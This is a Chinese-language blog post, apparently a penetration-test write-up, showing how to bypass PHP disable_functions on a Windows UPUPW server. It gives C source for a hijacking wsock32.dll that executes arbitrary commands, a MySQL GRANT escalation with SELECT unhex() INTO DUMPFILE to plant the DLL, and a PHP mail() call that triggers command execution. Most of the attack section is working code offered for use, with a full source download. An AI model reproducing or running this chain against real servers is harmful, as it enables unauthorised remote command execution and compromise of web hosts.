利用mail bypass disable_function 执行命令

热度:87℃ 评论:0 发布时间:2018-10-30 收录:已收录

最近渗透过程中遇到一个站用了UPUPW_AP5.4来搭建,这个程序是自带了sendmail.exe的,以下是我本地复现的情况:
利用mail bypass disable_function 执行命令
当时目标站的disable_function是exec,system,passthru,popen,shell_exec ,proc_open,另外目标站做了open_basedir限制,只能访问web目录下面的文件。
在linux下面可以使用pcntl_exec,当然windows下面是没有加载这个扩展的。
Google一番发现COM class加载wscript.shell也可以执行命令,然而一样的没有加载这个扩展。
最后把目标放在这个sendmail.exe上。
大家都知道在linux上可以用mail来bypass disable_fucntion来执行命令,因为linux有LD_PRELOAD这个环境变量可以很方便的注入进程。
那么在windows上呢? 当然也是可以。
但是默认情况下sendmail_path在windows中并没有设置,没有值的话是不行的。
UPUPW很贴心的给了我们一个sendmail.exe
Windows下面没有LD_PRELOAD怎么办呢?
当然是DLL劫持!
我们来看一下sendmail的导入表。
利用mail bypass disable_function 执行命令
找到一个不在knowndlls里面的dll,就是它了,wsock32.dll!
由于php的mail函数中的参数5是Additional parameters, 也就是说我们可以给sendmail程序加自定义的命令行!那么思路就是写一个dll解析命令行并且执行命令!
利用mail bypass disable_function 执行命令
Dll劫持的代码可以由一个小工具Aheadlib来生成,不过生成的代码是不能用的,会有一千多个错误,简单替换一下就能用了,加入自定义代码如下

int argc = 0;
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
wchar_t *cmd = 0;
wchar_t *outfile = 0;
for (int i = 0; i < argc; i++)
{
        if (!lstrcmp(argv[i], L"-c"))
        if (i + 1 < argc)
        {
                cmd = argv[i + 1];
        }
        if (!lstrcmp(argv[i], L"-o"))
        if (i + 1 < argc)
        {
                outfile = argv[i + 1];
        }
}

if (cmd && outfile)
{
        DWORD tmp = 0;
        HANDLE h = CreateFile(outfile, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

        SECURITY_ATTRIBUTES                sa;
        HANDLE                                        hRead, hWrite;
        byte                                        buf[40960] = { 0 };
        STARTUPINFOW                        si;
        PROCESS_INFORMATION                pi;
        DWORD                                        bytesRead;
        RtlSecureZeroMemory(&si, sizeof(si));
        RtlSecureZeroMemory(&pi, sizeof(pi));
        RtlSecureZeroMemory(&sa, sizeof(sa));
        int br = 0;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        if (!CreatePipe(&hRead, &hWrite, &sa, 0))
        {
                ExitProcess(0);
        }
        si.cb = sizeof(STARTUPINFO);
        GetStartupInfoW(&si);
        si.hStdError = hWrite;
        si.hStdOutput = hWrite;
        si.wShowWindow = SW_HIDE;
        si.lpDesktop = L"WinSta0\\Default";
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
        {
                CloseHandle(hWrite);
                CloseHandle(hRead);
                ExitProcess(0);
        }
        CloseHandle(hWrite);
        while (1)
        {
                if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
                        break;
                br += bytesRead;
        }

        WriteFile(h, buf, br, &tmp, 0);
        CloseHandle(h);
        CloseHandle(hRead);
        CloseHandle(pi.hProcess);
        ExitProcess(0);
}

代码很简单,执行命令,保存文件,直接加入DllMain就行了。
编译之后生成一个dll,需要把这个dll和原本的wsock32.dll放入sendmail的文件夹。
那么问题来了,我们并没有读写sendmail程序文件夹的权限,怎么办呢。
此时我突然发现php连接的mysql的账号虽然不是root,但是有grant权限。。。
于是给自己grant了全部权限之后,我们就可以使用dumpfile的方式写入文件夹了,类似select unhex(‘xxxxxx’) into dumpfile ‘D:\\UPUPW_AP5.4\\sendmail\\wsock32.dll’.
这时候你会问为什么不用udf呢?
因为udf需要写入plugin目录,但是这个目录默认情况下不存在。
你会说可以用$INDEX_ALLOCATION啊,但我在本机测试并不行,远程也不行,创建文件夹本地直接提示Access denied,但是却可以创建文件。另外我本地和远程都是NTFS。
这里需要把自己编译的dll和原版wsock32.dll都写进去。
最后使用如下php代码即可执行命令:

<?php
mail('','','','','-c whoami -o D:\\UPUPW_AP5.4\\htdocs\\1.txt');
echo file_get_contents('1.txt');
unlink('1.txt');
?>

利用mail bypass disable_function 执行命令
下面是我用的完整源代码:[ wsock32.rar ]
作者:skyer

打赏
本文由 Mr.Wu 创作,除注明转载/出处外,均为本站原创,转载前请注明出处!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

顶部
护眼
搜索
分享